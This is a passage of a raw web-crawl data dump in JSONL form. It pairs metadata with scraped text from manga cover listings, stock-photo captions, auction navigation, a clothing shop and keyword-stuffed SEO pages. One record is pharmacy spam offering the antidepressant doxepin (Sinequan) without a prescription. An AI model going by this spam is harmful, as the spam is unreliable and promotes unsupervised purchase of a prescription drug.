cours)","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/gintamacouvjap.htm","date":"2020-07-14T00:54:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147031.78\/warc\/CC-MAIN-20200713225620-20200714015620-00167.warc.gz","language":"ina","language_score":0.3155016005,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3155016005039215, \"und_Grek_score\": 0.23265399038791656, \"ron_Latn_score\": 0.203647643327713, \"fra_Latn_score\": 0.18195173144340515, \"crs_Latn_score\": 0.014221026562154293}","num_words":296,"character_repetition_ratio":0.323,"word_repetition_ratio":0.878,"special_characters_ratio":0.606,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":3058.3,"cluster_detection":-1} +{"text":"|sorti le 07\/01\/00||sorti le 04\/04\/00||sorti le 02\/06\/00||sorti le 04\/08\/00||sorti le 04\/10\/00||sorti le 04\/12\/00||sorti le 02\/02\/01|\n|sorti le 01\/05\/01||sorti le 04\/07\/01||sorti le 04\/09\/01||sorti le 04\/12\/01||sorti le 04\/02\/02||sorti le 04\/04\/02||sorti le 04\/07\/02|\n|sorti le 04\/09\/02||sorti le 04\/12\/02||sorti le 04\/02\/03||sorti le 04\/04\/03||sorti le 04\/07\/03||sorti le 04\/09\/03||sorti le 04\/12\/03|\n|sorti le 04\/02\/04||sorti le 02\/04\/04||sorti le 02\/07\/04||sorti le 03\/09\/04||sorti le 03\/12\/04||sorti le 05\/01\/05||sorti le 04\/04\/05|\n|sorti le 04\/07\/05||sorti le 02\/09\/05||sorti le 02\/12\/05||sorti le 03\/02\/06||sorti le 02\/05\/06||sorti le 04\/07\/06||sorti le 04\/09\/06|\n|sorti le 04\/01\/07||sorti le 02\/03\/07||sorti le 04\/06\/07||sorti le 04\/09\/07||sorti le 04\/12\/07||sorti le 04\/03\/08||sorti le 04\/06\/08|\n|Couvertures japonaises des 42 volumes parus\nchez Shueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/tenniscouvjap.htm","date":"2020-07-16T01:41:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657176116.96\/warc\/CC-MAIN-20200715230447-20200716020447-00495.warc.gz","language":"ina","language_score":0.3066440523,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3066440522670746, \"und_Grek_score\": 0.2821536958217621, \"fra_Latn_score\": 0.19118504226207733, \"ron_Latn_score\": 0.16411058604717255, \"crs_Latn_score\": 0.011879812926054}","num_words":235,"character_repetition_ratio":0.333,"word_repetition_ratio":0.894,"special_characters_ratio":0.597,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.319,"perplexity_score":3105.6,"cluster_detection":-1} +{"text":"|sorti le 03\/12\/98||sorti le 04\/03\/99||sorti le 30\/04\/99||sorti le 04\/08\/99||sorti le 04\/10\/99||sorti le 02\/12\/99|\n|sorti le 02\/02\/00||sorti le 04\/04\/00||sorti le 02\/06\/00||sorti le 04\/09\/00||sorti le 02\/11\/00||sorti le 22\/12\/00|\n|sorti le 02\/03\/01||sorti le 04\/06\/01||sorti le 04\/07\/01||sorti le 04\/10\/01||sorti le 24\/12\/01||sorti le 04\/03\/02|\n|sorti le 01\/05\/02||sorti le 02\/08\/02||sorti le 04\/10\/02||sorti le 04\/12\/02||sorti le 04\/02\/03||sorti le 04\/04\/03|\n|sorti le 04\/07\/03||sorti le 03\/10\/03||sorti le 04\/12\/03||sorti le 04\/03\/04||sorti le 30\/04\/04||sorti le 02\/07\/04|\n|sorti le 04\/10\/04||sorti le 05\/01\/05|\n|Couvertures\njaponaises des 32 volumes parus chez Shueisha\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/shamankcouvjap.htm","date":"2020-07-16T01:56:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657176116.96\/warc\/CC-MAIN-20200715230447-20200716020447-00591.warc.gz","language":"ina","language_score":0.3472369909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3472369909286499, \"fra_Latn_score\": 0.2773241698741913, \"ron_Latn_score\": 0.16469314694404602, \"und_Grek_score\": 0.11584758013486862, \"crs_Latn_score\": 0.020801324397325516}","num_words":186,"character_repetition_ratio":0.299,"word_repetition_ratio":0.859,"special_characters_ratio":0.588,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.342,"perplexity_score":3088.9,"cluster_detection":-1} +{"text":"Dressage Fotos De Stock\n19,353 dressage fotos de stock esté disponible libre de derechos.\nCaballo del Dressage Semental de los deportes del retrato en la munición Caballo del Dressage La nariz se divierte el caballo marrón en el freno doble Caballo del Dressage Semental de los deportes del retrato en el freno doble Caballo del Dressage Caballo y jinete del Dressage Caballo del Dressage Caballo del Dressage Entrenamiento del Dressage Retrato del caballo del negro del dressage Caballo del Dressage Dressage Caballo del Dressage Caballo del Dressage Sentada gris del caballo del dressage Caballo negro del dressage el trotar Retrato negro del caballo del dressage Retrato del caballo del dressage de Brown Dressage Dressage Dressage Taza de mundo del Dressage Dressage de Zara Phillips Caballo del Dressage Un retrato del caballo gris del dressage aislado Un retrato del caballo gris del dressage aislado Dressage Dressage Taza de mundo del Dressage Dressage Dressage Caballo del Dressage Caballo del Dressage Caballo del Dressage Caballo del Dressage Caballo del Dressage con la cinta amarilla Dressage del caballo Dressage Dressage Taza de mundo del Dressage Taza de mundo del Dressage Taza de mundo del Dressage Caballo del Dressage Anillos del Dressage del caballo Dressage ecuestre Un retrato del caballo gris del dressage aisló Un retrato del caballo gris del dressage aislado Un retrato del caballo gris del dressage aislado Claro para el dressage del caballo Dressage con el caballo marrón Caballo del andaluz del espanola del raza del pura del Dressage Dressage - PremierCup 2010 Caballo del Dressage, guantes blancos Caballo negro del dressage del frisian Caballo del Dressage Dressage 2 Entrenamiento del Dressage Muchacha y caballo del dressage Dressage del caballo blanco Caballo del Dressage Caballo del Dressage Dressage: retrato del caballo negro Dressage ecuestre Muchacha y caballo del dressage Muchacha y caballo del dressage Muchacha y caballo del dressage Muchacha y caballo del dressage Un retrato del caballo del dressage Demostración del dressage del caballo Demostración del dressage del caballo Equipo clásico del dressage aislado Muchacha en caballo del dressage en invierno Muchacha en caballo del dressage en invierno Dressage del caballo de bahía Caballo que hace Dressage Caballo y jinete del Dressage Anillos del Dressage del caballo Caballo del Dressage Elegancia del Dressage Dressage ecuestre Dressage","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/es.dreamstime.com\/photos-images\/dressage.html","date":"2020-08-04T05:20:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00247.warc.gz","language":"ina","language_score":0.6345382333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6345382332801819, \"spa_Latn_score\": 0.24642382562160492, \"cbk_Latn_score\": 0.03771418333053589, \"ita_Latn_score\": 0.016949046403169632, \"dan_Latn_score\": 0.013879950158298016}","num_words":770,"character_repetition_ratio":0.291,"word_repetition_ratio":0.367,"special_characters_ratio":0.16,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.525,"perplexity_score":7361.5,"cluster_detection":-1} +{"text":"Generico Sinequan Doxepin hydrochloride\nGenerico Sinequan\nIl miglior posto da ordinare generico Sinequan Doxepin hydrochloride senza prescrizione medica. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.5 sulla base di 348 voti.\nPrezzo da €0.26 Per pillola\nSinequan en farmacia cruz verde\nSconto Sinequan Giappone\ngenerico Sinequan preзo\ngenerico Sinequan não funciona\nSinequan generico paypal\nSconto Sinequan Spagna\nprecio Sinequan farmacia mexico\nquiero comprar Sinequan generico\nbasso costo 25 mg Sinequan Emirati Arabi Uniti\nacquisto Sinequan reato\nSinequan acquisto on line italia\nIl costo di Sinequan Croazia\nSinequan farmacia guadalajara\nse comprar Sinequan farmacia\nQuanto costa Doxepin hydrochloride Belgio\nSinequan colombia generico\nin linea Sinequan Doxepin hydrochloride Portogallo\nSinequan vendita online\nPrezzo basso 25 mg Sinequan Finlandia\nbuy Zanaflex\ncheap Nolvadex\napaltd.pl\napaltd.pl\ngeneric Aristocort\nacquisto Sinequan internet\ndonde comprar Sinequan generico mexico\nSconto 25 mg Sinequan Svezia\ncuanto cuesta el Sinequan en farmacia\ncomo comprar Sinequan generico\nSinequan sin receta farmacias madrid\nSinequan venta en farmacias\nIl costo di Sinequan Svezia\nventa Sinequan generico españa\nIl costo di Sinequan 25 mg Tacchino\nIl costo di Sinequan 25 mg Norvegia\ncomo comprar Sinequan farmacia\nPrezzo basso Sinequan Belgio\ncomprar Sinequan farmacia espaСЃola\nPrezzo Doxepin hydrochloride\nconveniente 25 mg Sinequan Europa\nPrezzo 25 mg Sinequan Croazia\nSconto Sinequan Doxepin hydrochloride UK\nA buon mercato 25 mg Sinequan USA\nAcquistare 25 mg Sinequan Italia\nPrezzo 25 mg Sinequan Spagna\nAcquista Sinequan Doxepin hydrochloride Svizzera\nPrezzo Sinequan 25 mg Canada\nA buon mercato Sinequan Europa\nquanto costa il Sinequan originale in farmacia\nAcquistare Sinequan Doxepin hydrochloride Brasile\nacquisto Sinequan generico sicuro\nAcquista Sinequan Doxepin hydrochloride Inghilterra\nbasso costo Doxepin hydrochloride Francia\ngenerico Sinequan Doxepin hydrochloride Singapore\nAcquista Doxepin hydrochloride Svezia\ngenerico Sinequan 25 mg\ntomar Sinequan generico\ncosto del Sinequan generico\nPrezzo 25 mg Sinequan Australia\nSinequan farmacia receta\ngenerico Sinequan germed\nbula Sinequan generico\ncosa costa il Sinequan in farmacia\ngenerico 25 mg Sinequan Norvegia\nproblemas Sinequan generico\ngenerico de la Sinequan precio\ngenerico Sinequan alicante\nAcquistare Sinequan 25 mg Grecia\nPrezzo basso 25 mg Sinequan Stati Uniti\nacquisto di Sinequan line\nAcquistare Sinequan Tacchino\nSinequan acquisto sicuro italia\nPrezzo basso Sinequan Israele\nfarmacias venden Sinequan femenino\nacquisto Sinequan italia\nanagen Sinequan generico\nIl costo di 25 mg Sinequan\nprecio de Sinequan generico\nil Sinequan lo vendono in farmacia\nA buon mercato Sinequan 25 mg Canada\npreco do Sinequan nas farmacias\nSinequan generico maxifort\nOrdine Sinequan Doxepin hydrochloride Belgio\nAcquista Doxepin hydrochloride Canada\nSinequan generico jalisco\nAcquistare Sinequan Brasile\nSinequan precio farmacia benavides\ngenerico Sinequan Doxepin hydrochloride Stati Uniti\ncomprare Sinequan generico forum\nSinequan 25 mg farmacia\nIl costo di Sinequan Doxepin hydrochloride Spagna\ngenerico Doxepin hydrochloride Regno Unito\nposso comprare Sinequan farmacia senza ricetta\nOrdine Sinequan 25 mg Europa\nproductos genericos Sinequan\nOrdine 25 mg Sinequan\nOrdine 25 mg Sinequan Croazia\nOrdine 25 mg Sinequan Inghilterra\ndove acquistare Sinequan generico line\nAcquistare Sinequan Francia\ngenerico do Sinequan e Sinequan\ngenerico Sinequan (sildenafil citrate)\nbasso costo Sinequan Doxepin hydrochloride Regno Unito\nprecio del Sinequan en farmacias chile\nSconto Sinequan Giappone\nSconto Sinequan 25 mg Regno Unito\nbasso costo Doxepin hydrochloride Brasile\ntem generico do Sinequan no brasil\nconveniente Sinequan Europa\nA buon mercato Doxepin hydrochloride Repubblica Ceca\nSconto Sinequan 25 mg Austria\nSinequan farmacia barcelona\nPrezzo basso Sinequan 25 mg Inghilterra\nprecio Sinequan generico peru\ngenerico Sinequan Regno Unito\nOrdine Sinequan Europa\nexiste Sinequan en farmacias similares\nbasso costo Sinequan Croazia\nfarmacia on line italia Sinequan\nin linea Sinequan 25 mg Repubblica Ceca\ncomprar Sinequan farmacia andorra\nAcquistare Sinequan 25 mg Regno Unito\nvenden Sinequan en farmacias guadalajara\nPrezzo 25 mg Sinequan Francia\ngenerico Sinequan rio janeiro\nPrezzo Doxepin hydrochloride Francia\nIl costo di 25 mg Sinequan Norvegia\nSinequan generico precio argentina\nPrezzo basso 25 mg Sinequan Polonia\nfarmacia venden Sinequan sin receta\nfarmacias ahumada vende Sinequan\nPrezzo basso Doxepin hydrochloride Repubblica Ceca\ncome comprare Sinequan farmacia\ngenerico Sinequan Europa\nexiste Sinequan farmacias similares\nSinequan generico costa rica\nOrdine Doxepin hydrochloride Francia\nSinequan se compra na farmacia\nAcquistare 25 mg Sinequan Repubblica Ceca\nA buon mercato 25 mg Sinequan Australia\nQuanto costa Sinequan UK\nIl costo di 25 mg Sinequan Croazia\nacquisto Sinequan a san marino\nconveniente Sinequan 25 mg Singapore\nSinequan generico da 25 mg\necwp.000webhostapp.com\ncheap Augmentin\ncheap Voltaren\nbuy Augmentin\nfogfactory.ua\n8F6yA","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/apaltd.pl\/2018\/12\/01\/generico-sinequan-doxepin-hydrochloride-consegna-rapida-risparmiare-tempo-e-costi\/","date":"2021-06-24T02:02:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488550571.96\/warc\/CC-MAIN-20210624015641-20210624045641-00058.warc.gz","language":"ina","language_score":0.4461737871,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4461737871170044, \"ita_Latn_score\": 0.1389942318201065, \"lat_Latn_score\": 0.07498930394649506, \"eus_Latn_score\": 0.06683612614870071, \"ile_Latn_score\": 0.05062252655625343, \"scn_Latn_score\": 0.017223048955202103, \"mlt_Latn_score\": 0.017010198906064034, \"vec_Latn_score\": 0.01692589931190014, \"kiu_Latn_score\": 0.016684509813785553, \"por_Latn_score\": 0.014579499140381813, \"lij_Latn_score\": 0.014407533220946789, \"nap_Latn_score\": 0.01075058151036501, \"srd_Latn_score\": 0.010402202606201172, \"nld_Latn_score\": 0.010254686698317528}","num_words":1519,"character_repetition_ratio":0.209,"word_repetition_ratio":0.024,"special_characters_ratio":0.156,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.224,"perplexity_score":29845.2,"cluster_detection":-1} +{"text":"|Keyword||CPC||PCC||Volume||Score|\n|function of cilia in animal cell||0.36||0.8||4899||5|\n|cilia animal cell function||1.64||0.8||6664||59|\n|cilia and flagella function in animal cell||0.39||0.3||6517||30|\n|cilia in animal cell function||1.81||0.6||4253||58|\n|function of the cilia in an animal cell||0.24||0.8||4125||1|\n|cilia function in a animal cell||0.06||0.4||9834||33|\n|cilia function in animal cells||1.79||1||1234||77|\n|cilia function in animal cell||0.99||0.7||1333||46|\n|cilia function in an animal cell||1.07||0.2||8032||4|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.anonymousite.com\/search\/function-of-cilia-in-a-animal-cell","date":"2022-05-29T02:17:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00622.warc.gz","language":"ina","language_score":0.3048936427,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3048936426639557, \"eng_Latn_score\": 0.255196213722229, \"lat_Latn_score\": 0.05539583042263985, \"glg_Latn_score\": 0.03957385569810867, \"ile_Latn_score\": 0.022302718833088875, \"sco_Latn_score\": 0.021210627630352974, \"slv_Latn_score\": 0.012697972357273102, \"dag_Latn_score\": 0.012521403841674328, \"srd_Latn_score\": 0.011195367202162743}","num_words":76,"character_repetition_ratio":0.205,"word_repetition_ratio":0.0,"special_characters_ratio":0.493,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.289,"perplexity_score":35080.0,"cluster_detection":-1} +{"text":"|Keyword||CPC||PCC||Volume||Score|\n|javascript function declaration||0.53||0.2||2558||44|\n|javascript function declaration vs expression||0.36||0.1||7068||90|\n|javascript function declaration types||1.99||0.5||5216||41|\n|valid function declaration in javascript||0.25||0.9||9747||2|\n|variadic function declaration in javascript||0.17||0.2||9043||56|\n|function declaration vs function expression||0.05||0.6||86||72|\n|function expression vs declaration||1.1||0.9||2152||60|\n|function vs function expression javascript||0.49||0.7||2669||84|\n|function declaration in javascript||0.72||0.6||8556||54|\n|valid function declaration vs expression||1.06||0.3||2785||20|\n|function definition vs function declaration||1.85||0.5||3648||13|\n|expression function in javascript||1.78||0.6||7697||62|\n|javascript statement vs expression||1.87||0.4||8216||45|\n|function declaration in js||1.58||0.9||7290||18|","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.keyworddensitychecker.com\/search\/javascript-function-declaration","date":"2023-12-07T04:29:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100632.0\/warc\/CC-MAIN-20231207022257-20231207052257-00471.warc.gz","language":"ina","language_score":0.3472732306,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34727323055267334, \"eng_Latn_score\": 0.17432592809200287, \"ile_Latn_score\": 0.037417907267808914, \"slv_Latn_score\": 0.03196916729211807, \"ekk_Latn_score\": 0.024966945871710777, \"sco_Latn_score\": 0.022268282249569893, \"swe_Latn_score\": 0.015406349673867226, \"lvs_Latn_score\": 0.014510219916701317, \"mlt_Latn_score\": 0.014195491559803486, \"hun_Latn_score\": 0.01394870039075613, \"uzn_Latn_score\": 0.013292615301907063, \"xho_Latn_score\": 0.012007852084934711, \"dag_Latn_score\": 0.011537463404238224, \"ltg_Latn_score\": 0.010616298764944077}","num_words":106,"character_repetition_ratio":0.219,"word_repetition_ratio":0.0,"special_characters_ratio":0.438,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.324,"perplexity_score":44243.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite escavatori cingolatiAste per le vendite mini escavatoriAste per le vendite terneAste per le vendite escavatori gommatiAste per le vendite trencher » Aste per le vendite escavatori cingolati ATLASAste per le vendite CATERPILLARAste per le vendite HITACHIAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite SUMITOMOAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-escavatore-cingolato-ATLAS--c7tk2426tm2481.html","date":"2017-01-18T02:15:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280133.2\/warc\/CC-MAIN-20170116095120-00530-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.7801879644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7801879644393921, \"ita_Latn_score\": 0.09230422228574753, \"frp_Latn_score\": 0.054837051779031754, \"nap_Latn_score\": 0.042914263904094696, \"lmo_Latn_score\": 0.011204489506781101}","num_words":133,"character_repetition_ratio":0.385,"word_repetition_ratio":0.065,"special_characters_ratio":0.164,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":2411.7,"cluster_detection":-1} +{"text":"Petal Top In Ultra Suede Sahara\n$92.00\nAlex Midi Skirt in Ultra Suede Chocolate\n$118.00\nVenus Bra in Ultra Suede Military\n$84.00\nPetal Top In Ultra Suede Chocolate\nVenus Bra in Ultra Suede Sahara\nPetal Top In Ultra Suede Military\nVenus Bra in Ultra Suede Chocolate\nAlex Midi Skirt in Ultra Suede Military\nAlex Midi Skirt in Ultra Suede Sahara\nMaija Bra Ultra Suede Sahara\n$59.50","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/untitledandco.com\/collections\/the-ultra-suede-collection","date":"2017-05-29T15:16:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612399.20\/warc\/CC-MAIN-20170529145935-20170529165935-00236.warc.gz","language":"ina","language_score":0.3324504793,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3324504792690277, \"sco_Latn_score\": 0.13546785712242126, \"ile_Latn_score\": 0.07038655132055283, \"ita_Latn_score\": 0.045258715748786926, \"srd_Latn_score\": 0.044176824390888214, \"lat_Latn_score\": 0.029771191999316216, \"dag_Latn_score\": 0.024448849260807037, \"vec_Latn_score\": 0.021727921441197395, \"spa_Latn_score\": 0.02118595875799656, \"eng_Latn_score\": 0.020202504470944405, \"cbk_Latn_score\": 0.016870485618710518, \"lmo_Latn_score\": 0.015918944031000137, \"afr_Latn_score\": 0.014441552571952343, \"lad_Latn_score\": 0.013991914689540863, \"fur_Latn_score\": 0.01231405884027481, \"nap_Latn_score\": 0.012047299183905125, \"kiu_Latn_score\": 0.010914349928498268}","num_words":104,"character_repetition_ratio":0.23,"word_repetition_ratio":0.147,"special_characters_ratio":0.238,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":0.227,"perplexity_score":9426.7,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite pale gommateAste per le vendite minipaleAste per le vendite pale cingolate » Aste per le vendite pale gommate DOOSANAste per le vendite CATERPILLARAste per le vendite JCBAste per le vendite KOMATSUAste per le vendite VOLVO","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/autoline-eu.it\/-\/Aste\/pale-gommate\/DOOSAN--a5c180tm3881","date":"2017-05-26T21:05:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608684.93\/warc\/CC-MAIN-20170526203511-20170526223511-00234.warc.gz","language":"ina","language_score":0.5337671041,"language_script":"Latn","minhash_cluster_size":82,"top_langs":"{\"ina_Latn_score\": 0.5337671041488647, \"nap_Latn_score\": 0.15956319868564606, \"ita_Latn_score\": 0.13556240499019623, \"bew_Latn_score\": 0.09635553508996964, \"frp_Latn_score\": 0.03472452983260155, \"lmo_Latn_score\": 0.019886163994669914}","num_words":100,"character_repetition_ratio":0.384,"word_repetition_ratio":0.066,"special_characters_ratio":0.18,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.739,"perplexity_score":2432.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite macchine agricole STARAste per le vendite FIATAste per le vendite HYUNDAIAste per le vendite ISEKIAste per le vendite JOHN DEEREAste per le vendite KUBOTAAste per le vendite LANDINIAste per le vendite MASSEY FERGUSONAste per le vendite MATERMACCAste per le vendite OMAste per le vendite SAME","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/autoline-eu.it\/-\/Aste\/macchine-agricole\/STAR--a5c200tm2766","date":"2017-09-24T17:36:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690112.3\/warc\/CC-MAIN-20170924171658-20170924191658-00169.warc.gz","language":"ina","language_score":0.8420404792,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.842040479183197, \"bew_Latn_score\": 0.03756992518901825, \"frp_Latn_score\": 0.0332152396440506, \"lmo_Latn_score\": 0.03052009828388691, \"nap_Latn_score\": 0.024394648149609566, \"ita_Latn_score\": 0.022371888160705566}","num_words":110,"character_repetition_ratio":0.401,"word_repetition_ratio":0.04,"special_characters_ratio":0.17,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":2884.6,"cluster_detection":-1} +{"text":"1 De Corporation Bleu\nImages Stock\n1,461 résultats\nMur de corporation bleu d'hublotsConstruction de corporation bleueTexture de corporation d'hublotsBâtiment de corporation 90Bâtiment de corporation 60Bâtiment de corporation 50Bâtiment de corporation 20Bâtiment de corporation 130Bâtiment de corporation 100Équipe de corporationConstruction de corporation bleue dans un ciel bleuÉquipe de corporationHaute construction de corporation contre le ciel bleuGratte-ciel de corporation dans le bleu avec des réflexionsGratte-ciel de corporation dans le bleu avec des réflexionsConstruction de corporationNuages de corporationConstructions de corporation à LondresConstruction de corporationConstruction de corporationConstruction de corporationCompagnie ou étoile de corporationConstruction de corporationConstruction de corporationConstruction de corporationArchitecture de corporationConstruction de corporationConstruction de corporationArchitecture de corporationGratte-ciel de corporationConstruction de corporationPasserelle de corporationGratte-ciel de corporationConstruction de corporationConstruction de corporationConstruction de corporation excessiveConstruction de corporationConstruction de corporation excessiveConstruction de corporation bleueConstruction de corporation contemporaineBuildind de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationTour en verre - construction de corporationConstructions de corporationConstruction de corporationBuildling de corporationConstruction de corporationConstructions de corporationBuildinds de corporationConstruction de corporationConstructions de corporation3 constructions de corporationConstruction de corporationFaçade en verre - construction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporation contemporaineBureau de corporationBureau de corporationConstruction de corporationBuildings#3 de corporationConstructions de corporationConstruction de corporationConstructions de corporationConstruction de corporationBuildings#3 de corporationConstruction de corporationNYC : 6èmes tours de corporation en verre d'avenueDétail de corporation de constructionConstructions de corporationConstruction de corporationBuildings#4 de corporationBuildings#1 de corporationConstructions de corporation","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/fr.dreamstime.com\/photos-images\/1-de-corporation-bleu.html","date":"2017-11-22T07:46:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806509.31\/warc\/CC-MAIN-20171122065449-20171122085449-00290.warc.gz","language":"ina","language_score":0.4210787714,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42107877135276794, \"fra_Latn_score\": 0.32690736651420593, \"nld_Latn_score\": 0.032574575394392014, \"dag_Latn_score\": 0.0229607243090868, \"dan_Latn_score\": 0.017306823283433914, \"frp_Latn_score\": 0.013842474669218063, \"fin_Latn_score\": 0.01340494118630886, \"swe_Latn_score\": 0.012923847883939743, \"lit_Latn_score\": 0.012468187138438225, \"lvs_Latn_score\": 0.01162770390510559}","num_words":446,"character_repetition_ratio":0.542,"word_repetition_ratio":0.254,"special_characters_ratio":0.109,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.687,"perplexity_score":11435.4,"cluster_detection":-1} +{"text":"grande surface salle de bain pite 0 gran s sign petite.\ngrande surface salle de bain gran ,la petites sal grande surface salle de bain,grande surface salle de bain gran, grande surface salle de bain petite, gran surface gallery amazing house grande salle de bain, grande surface salle de bain petite with, grande surface salle de bain la, grande surface salle de bain plans 5 a ma nos, awesome gran surface images interior grande salle de bain, grand must pour la grande surface salle de bain","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/salle-de-bain-grande-surface\/grande-surface-salle-de-bain-pite-0-gran-s-sign-petite\/","date":"2018-01-19T11:23:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887973.50\/warc\/CC-MAIN-20180119105358-20180119125358-00169.warc.gz","language":"ina","language_score":0.3671891093,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36718910932540894, \"fra_Latn_score\": 0.234550341963768, \"knc_Latn_score\": 0.038639333099126816, \"nap_Latn_score\": 0.03621041402220726, \"glg_Latn_score\": 0.033488091081380844, \"gul_Latn_score\": 0.027086474001407623, \"mwl_Latn_score\": 0.02568446844816208, \"wes_Latn_score\": 0.022994613274931908, \"nrm_Latn_score\": 0.02219376713037491, \"ckm_Latn_score\": 0.015864988788962364, \"rmq_Latn_score\": 0.013964293524622917, \"cbk_Latn_score\": 0.013692907057702541, \"pcd_Latn_score\": 0.012725139036774635, \"sco_Latn_score\": 0.012527352198958397, \"bew_Latn_score\": 0.011487787589430809}","num_words":136,"character_repetition_ratio":0.323,"word_repetition_ratio":0.016,"special_characters_ratio":0.197,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.367,"perplexity_score":4298.9,"cluster_detection":-1} +{"text":"Cocinar al vapor con vaporera cocinar al vapor con vaporera, cocinar al vapor con vaporera electrica, cocinar al vapor con vaporera de bambu, cocina al vapor con vaporera recetas, como cocinar al vapor con vaporera, como cocinar al vapor con vaporera de bambu, cocinar verduras al vapor con vaporera, como cocinar al vapor con vaporera de silicona, como cocinar al vapor con vaporera electrica, cocinar al vapor vaporera","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/freshtoy.top\/cocinar-al-vapor-con-vaporera","date":"2018-05-21T01:18:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863901.24\/warc\/CC-MAIN-20180521004325-20180521024325-00247.warc.gz","language":"ina","language_score":0.8684956431,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.8684956431388855, \"ast_Latn_score\": 0.0872579887509346, \"spa_Latn_score\": 0.0221038106828928}","num_words":86,"character_repetition_ratio":0.294,"word_repetition_ratio":0.234,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.881,"perplexity_score":4520.4,"cluster_detection":-1} +{"text":"salon detente jardin salon de jardin bas en alu salon detente jardin brico depot.\nsalon detente jardin salon detente exterieur alacgant salon detente jardin populairement salon de jardin detente salon salon detente jardin pas cher.\nsalon detente jardin meuble de jardin auchan new salon detente jardin luxury salon bas de jardin 4 personnes racsine salon detente jardin metal.\nsalon detente jardin large size of salon detente jardin tente 